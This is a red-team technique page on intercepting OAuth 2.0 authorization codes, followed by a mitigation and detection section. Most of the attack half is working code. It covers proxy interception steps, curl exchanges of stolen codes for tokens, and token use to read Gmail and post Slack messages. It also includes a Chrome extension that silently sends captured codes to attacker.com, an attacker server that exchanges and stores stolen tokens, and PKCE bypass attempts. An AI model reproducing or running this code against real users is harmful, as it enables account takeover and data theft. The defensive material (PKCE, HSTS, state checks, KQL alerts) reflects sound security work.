| Attribute | Details |
|---|---|
| Technique ID | SAAS-API-004 |
| MITRE ATT&CK v18.1 | T1528 - Steal Application Access Token |
| Tactic | Credential Access |
| Platforms | M365/Entra ID, SaaS Platforms, Web Applications |
| Severity | High |
| Technique Status | ACTIVE (on platforms without PKCE enforcement) |
| Last Verified | 2026-01-10 |
| Affected Versions | OAuth 2.0 implementations without PKCE; most platforms with PKCE enabled are PARTIAL |
| Patched In | PKCE (RFC 7636) adoption mitigates; PKCE now recommended standard (2022+) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: OAuth 2.0 authorization code interception is a credential theft attack targeting the OAuth authorization code grant flow. During the standard OAuth flow, when a user authorizes an application to access their data, the authorization server redirects the user back to the application with an authorization code (e.g., code=auth_code_xyz). If this redirect URL is not protected (lacks PKCE, operates over unencrypted connections, or is vulnerable to network interception), an attacker can intercept the authorization code and exchange it for an access token, gaining the same permissions the user granted without requiring their password.
Attack Surface: The OAuth redirect URI, HTTP/HTTPS communication between authorization server and client, browser history containing authorization codes, and client applications that fail to implement PKCE.
Business Impact: Successful OAuth code interception enables attackers to impersonate legitimate users, access their data across multiple SaaS platforms (Gmail, Microsoft 365, Slack, Salesforce), perform actions on their behalf, and maintain persistent access via stolen refresh tokens. A single compromised OAuth token grants access to all integrated third-party applications.
Technical Context: Interception success depends on attacker position (network-level MITM, endpoint malware, malicious browser extension). Without PKCE, a single stolen code immediately yields access tokens. With PKCE, interception alone is insufficient; the attacker also needs the code_verifier, which is never transmitted.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS CSC 14 | Secure and Manage Sensitive API Documentation (OAuth security) |
| DISA STIG | AC-2 | Account and Access Management (OAuth delegation) |
| CISA SCuBA | AUTH-02 | MFA and Token Security |
| NIST 800-53 | AC-3 | Access Enforcement (OAuth scopes/permissions) |
| GDPR | Art. 32 | Security of Processing (encryption of OAuth flows) |
| DORA | Art. 16 | Incident Management (unauthorized OAuth consent) |
| NIS2 | Art. 21 | Multi-layered Preventive Measures (PKCE, code challenge) |
| ISO 27001 | A.14.2.5 | Authorization and Access Management (OAuth delegation control) |
| ISO 27005 | Risk Scenario | Unauthorized access via stolen OAuth authorization code |
Required Privileges: None for interception; attacker requires network access or endpoint control.
Required Access:
Tools:
Objective: Confirm the application uses OAuth and identify redirect parameters.
Command (Browser DevTools):
https://accounts.google.com/o/oauth2/v2/auth?
client_id=1234567890-abc.apps.googleusercontent.com&
redirect_uri=https://app.example.com/oauth/callback&
scope=profile%20email&
response_type=code&
state=random_state_value
What to Look For:
code parameter in redirect URL (authorization code).state parameter (CSRF protection; should match initial request).code_challenge parameter (indicates PKCE is not implemented).Supported Versions: All OAuth implementations without PKCE enforcement.
Objective: Position attacker between client and authorization server.
Using Mitmproxy:
# Install mitmproxy
pip install mitmproxy
# Start mitmproxy on port 8080
mitmproxy --mode reverse --listen-host 0.0.0.0 --listen-port 8080
# Or use transparent proxy mode (requires root)
mitmproxy --mode transparent --listen-host 0.0.0.0 --listen-port 8080
Manual Browser Configuration:
192.168.1.100 (attacker machine).8080.Using Burp Suite:
0.0.0.0:8080.What This Means:
OpSec & Evasion:
Objective: Capture the authorization code from the redirect URL.
Burp Suite Workflow:
oauth/callback or redirect_uri.GET /oauth/callback?code=auth_code_xyz&state=random_state_value HTTP/1.1
code parameter: auth_code_xyz.Mitmproxy Workflow:
# View all requests in mitmproxy console
# Highlight requests to known redirect URIs
# Press 'e' to examine request details
# Extract code parameter from URL
# Or use command-line filtering:
mitmproxy -T --termlog-verbose | grep "code="
Expected Capture:
GET https://app.example.com/oauth/callback?code=4/0AY0e-g7FzKL4bC0qZY7pX9mQ&state=AbCdEfGhIjKlMnOpQrStUv
What This Means:
Objective: Use the intercepted code to obtain access tokens.
Command (cURL):
AUTH_CODE="4/0AY0e-g7FzKL4bC0qZY7pX9mQ"
CLIENT_ID="1234567890-abc.apps.googleusercontent.com"
CLIENT_SECRET="GOCSPX-abc123xyz..."
REDIRECT_URI="https://app.example.com/oauth/callback"
curl -X POST https://oauth2.googleapis.com/token \
-d "code=$AUTH_CODE" \
-d "client_id=$CLIENT_ID" \
-d "client_secret=$CLIENT_SECRET" \
-d "redirect_uri=$REDIRECT_URI" \
-d "grant_type=authorization_code"
Expected Output:
{
"access_token": "ya29.a0AfH6SMBx...",
"expires_in": 3599,
"refresh_token": "1//0gk5...",
"scope": "profile email openid",
"token_type": "Bearer"
}
What This Means:
refresh_token enables indefinite access even if user changes password.OpSec & Evasion:
Troubleshooting:
redirect_uri parameter doesn’t match registered URI.References & Proofs:
Objective: Perform actions as the compromised user.
Command (Access Gmail):
ACCESS_TOKEN="ya29.a0AfH6SMBx..."
# List Gmail inbox
curl -H "Authorization: Bearer $ACCESS_TOKEN" \
https://www.googleapis.com/gmail/v1/users/me/messages
# Read specific email
curl -H "Authorization: Bearer $ACCESS_TOKEN" \
https://www.googleapis.com/gmail/v1/users/me/messages/msg_id/full
Expected Output:
{
"messages": [
{ "id": "1", "threadId": "1" },
{ "id": "2", "threadId": "2" }
]
}
Modify Slack Messages (if Slack token obtained):
ACCESS_TOKEN="xoxp-123456..."
# Post message to user's channel
curl -X POST https://slack.com/api/chat.postMessage \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-d "channel=C12345678&text=Malicious message"
Supported Versions: All OAuth implementations; PKCE does not protect against endpoint compromise.
Objective: Intercept OAuth redirects before they reach the intended application.
Manifest.json (Chrome Extension):
{
"manifest_version": 3,
"name": "OAuth Interceptor",
"permissions": ["webRequest", "tabs"],
"background": { "service_worker": "background.js" },
"host_permissions": ["https://*oauth*", "https://*.example.com/*"]
}
background.js:
chrome.webRequest.onBeforeRequest.addListener(
function(details) {
// Intercept OAuth callback
if (details.url.includes("oauth/callback")) {
const url = new URL(details.url);
const code = url.searchParams.get("code");
const state = url.searchParams.get("state");
// Send to attacker server
fetch("https://attacker.com/receive-code", {
method: "POST",
body: JSON.stringify({ code, state, timestamp: Date.now() })
});
// Allow request to continue (minimal suspicion)
return { cancel: false };
}
},
{ urls: ["https://*.example.com/*"] },
["blocking"]
);
Installation (User Perspective):
What This Means:
OpSec & Evasion:
Objective: Continuously monitor and exchange codes without user interaction.
Attacker Server (Node.js):
const express = require("express");
const axios = require("axios");
const app = express();
app.use(express.json());
const CLIENT_ID = "attacker-registered-app-client-id";
const CLIENT_SECRET = "attacker-app-secret";
app.post("/receive-code", async (req, res) => {
const { code, state } = req.body;
try {
// Exchange code for token using ATTACKER's registered OAuth app
const tokenResponse = await axios.post("https://oauth2.googleapis.com/token", {
code: code,
client_id: CLIENT_ID,
client_secret: CLIENT_SECRET,
redirect_uri: "https://attacker.com/callback",
grant_type: "authorization_code"
});
const accessToken = tokenResponse.data.access_token;
// Store token for later use
saveTokenToDatabase(accessToken, req.ip, new Date());
// Notify attacker dashboard
console.log(`[+] New access token obtained: ${accessToken.substring(0, 20)}...`);
res.json({ success: true });
} catch (error) {
console.error("Token exchange failed:", error.message);
res.status(500).json({ error: error.message });
}
});
app.listen(3000, () => console.log("Listening for OAuth codes..."));
What This Means:
References & Proofs:
Supported Versions: OAuth 2.0 with PKCE but improper validation.
Objective: Discover if PKCE is bypassed or improperly implemented.
Reconnaissance:
# Check if PKCE is enforced by attempting without code_challenge
curl "https://oauth.example.com/authorize?" \
"client_id=1234&" \
"redirect_uri=https://app.example.com/callback&" \
"response_type=code&" \
"scope=profile"
# Check if server accepts any code_verifier or validates properly
# by sending mismatched verifier
Common PKCE Weaknesses:
code_challenge.
code_challenge and code_verifier.code_challenge_method=plain instead of forcing S256.
If PKCE is Optional:
# Intercept code without PKCE, exchange it normally
curl -X POST https://oauth.example.com/token \
-d "code=auth_code_xyz" \
-d "client_id=1234" \
-d "client_secret=secret" \
-d "redirect_uri=https://app.example.com/callback" \
-d "grant_type=authorization_code"
# Note: No code_verifier parameter; server doesn't require it
If S256→Plain Downgrade Possible:
# Initial authorization with weak method
code_verifier="weak_verifier_123"
code_challenge=$(echo -n "$code_verifier" | sha256sum | cut -d' ' -f1) # Proper S256 hash
# But when exchanging, send plain text
curl -X POST https://oauth.example.com/token \
-d "code=auth_code_xyz" \
-d "code_verifier=$code_verifier" \ # Plain text instead of hash
...
Version: 2024.1+
Proxy Interception for OAuth:
oauth/callback requests.Version: 10.0+
Installation:
pip install mitmproxy
Usage:
# Start mitmproxy
mitmproxy -p 8080
# View captured traffic (press 'i' for detailed view)
# Filter for OAuth: type mitmproxy console, press 'f' (filter), enter 'code=' pattern
Built-in: All modern browsers
For OAuth Code Capture:
oauth or callback.Implement PKCE (Proof Key for Code Exchange) on All OAuth Clients: Require code_challenge and code_verifier on both grant and token endpoints.
Manual Steps (Node.js + Passport.js):
const passport = require('passport');
const GoogleStrategy = require('passport-google-oauth20').Strategy;
const crypto = require('crypto');
// Enable PKCE in Google OAuth strategy
passport.use(new GoogleStrategy(
{
clientID: process.env.GOOGLE_CLIENT_ID,
clientSecret: process.env.GOOGLE_CLIENT_SECRET,
callbackURL: "/oauth/google/callback",
pkce: true // ENABLE PKCE
},
(accessToken, refreshToken, profile, done) => {
return done(null, profile);
}
));
// Verify code_verifier on token exchange
app.post('/oauth/token', (req, res) => {
const { code, code_verifier } = req.body;
const codeChallenge = req.session.codeChallenge;
const computedChallenge = crypto
.createHash('sha256')
.update(code_verifier)
.digest('base64')
.replace(/\+/g, '-')
.replace(/\//g, '_')
.replace(/=/g, '');
if (computedChallenge !== codeChallenge) {
return res.status(400).json({ error: "Invalid code verifier" });
}
// Proceed with token exchange
});
Manual Steps (Azure AD / Entra ID):
Enforce HTTPS with HSTS for OAuth Endpoints: Prevent HTTP downgrade attacks.
Manual Steps (Nginx):
server {
listen 443 ssl http2;
server_name oauth.example.com;
# Enforce HTTPS
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
# Prevent clickjacking and framing
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
ssl_certificate /etc/ssl/certs/cert.pem;
ssl_certificate_key /etc/ssl/private/key.pem;
ssl_protocols TLSv1.3 TLSv1.2;
ssl_ciphers HIGH:!aNULL:!MD5;
}
Implement State Parameter Validation: Verify state parameter matches before accepting authorization code.
Manual Steps (Express.js):
app.get('/oauth/callback', (req, res) => {
const { code, state } = req.query;
// Validate state parameter matches session
if (state !== req.session.oauthState) {
return res.status(400).json({ error: "State parameter mismatch; CSRF detected" });
}
// Proceed with token exchange
exchangeCodeForToken(code);
});
Monitor and Alert on Unusual OAuth Consent Patterns:
Manual Steps (Azure Sentinel KQL):
AuditLogs
| where OperationName == "Consent to application"
| where ResultStatus == "Success"
| summarize count() by UserPrincipalName, AppDisplayName, TimeGenerated
| where count() > 5 // Unusually high number of consents
| order by count() desc
Restrict OAuth Scope Grants: Require admin approval for sensitive scopes (email, calendar, contacts).
Manual Steps (Azure AD):
Do not allow user consent.Yes, allow admin consent requests.Implement Certificate Pinning for OAuth Redirect URIs: Ensure redirects only go to legitimate URIs; prevent man-in-the-middle.
Manual Steps (Mobile Apps - iOS):
import Alamofire
let serverTrustPolicy = ServerTrustPolicy.pinCertificates(
certificates: ServerTrustPolicy.certificates(in: Bundle.main),
validateCertificateChain: true,
validateHost: true
)
let serverTrustPolicies = ["oauth.example.com": serverTrustPolicy]
let manager = SessionManager(serverTrustPolicyManager: ServerTrustPolicyManager(policies: serverTrustPolicies))
Implement Conditional Access Policies to Flag Unusual OAuth Token Usage:
Manual Steps (Azure AD Conditional Access):
OAuth Token Anomaly.All users.High.Require multi-factor authentication.Log and Monitor OAuth Token Usage by Application:
Manual Steps (Office 365):
# Test PKCE enforcement
AUTH_URL="https://oauth.example.com/authorize?client_id=1234&response_type=code&redirect_uri=https://app.example.com/callback"
# Attempt without code_challenge (should fail)
curl -X GET "$AUTH_URL" 2>&1 | grep -i "code_challenge_required\|invalid_request"
# Expected: Error message requiring code_challenge
# Verify HSTS header
curl -I https://oauth.example.com/ 2>&1 | grep -i "strict-transport-security"
# Expected: Strict-Transport-Security: max-age=...
2026-01-10T14:32:45Z2026-01-10T14:33:12Z (same user session)203.0.113.45 (different country)az ad app oauth2-permission-grant delete --id <object-id>Get-MsolUser -UserPrincipalName user@company.com | Get-MsolUserActivitySearch-UnifiedAuditLog -Operations "Consent to application","Add OAuth app" -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) | `
Where-Object { $_.AuditData -like "*suspicious*" -or $_.ClientIP -notmatch "^\d+\.\d+\.\d+\.\d+$" } | `
Export-Csv -Path "C:\Evidence\OAuth_Compromise.csv"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [SAAS-API-001] | GraphQL API Enumeration – Identify OAuth endpoints |
| 2 | Initial Access | [IA-PHISH-002] | Consent Grant OAuth Attacks – Trick user into authorizing malicious app |
| 3 | Credential Access | [SAAS-API-004] | OAuth Authorization Code Interception – Steal code via MITM or extension |
| 4 | Lateral Movement | [LM-AUTH-029] | OAuth Application Permissions – Use token to access integrated apps |
| 5 | Impact | [COLLECTION-001] | Email Collection – Export victim’s emails via OAuth token |
app://oauth without unique app signature verification.profile, email, calendar).